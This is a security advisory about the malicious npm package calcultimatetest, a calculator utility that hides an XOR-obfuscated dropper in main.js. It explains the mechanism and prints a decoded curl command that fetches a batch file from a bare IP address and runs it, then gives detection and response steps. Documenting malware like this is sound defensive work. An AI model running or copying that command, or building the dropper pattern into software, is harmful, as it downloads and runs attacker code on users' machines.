calcultimatetestnpm
Advisory published Updated
calcultimatetest is a confirmed malicious npm package (MAL-2026-20192) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in calcultimatetest (npm)
What this malware does
The package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXEC_MODE' and then invokes child_process.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surface inside the installed artifact. The package otherwise ships only a Mandelbrot busy-loop as cover functionality, with no legitimate use for hex-encoded shell commands, XOR-decoded exec paths, or bare-IP HTTP downloads of.bat files.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for calcultimatetest (version 1.0.0).
If you installed it — respond
Remove calcultimatetest from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If calcultimatetest was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks calcultimatetest-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.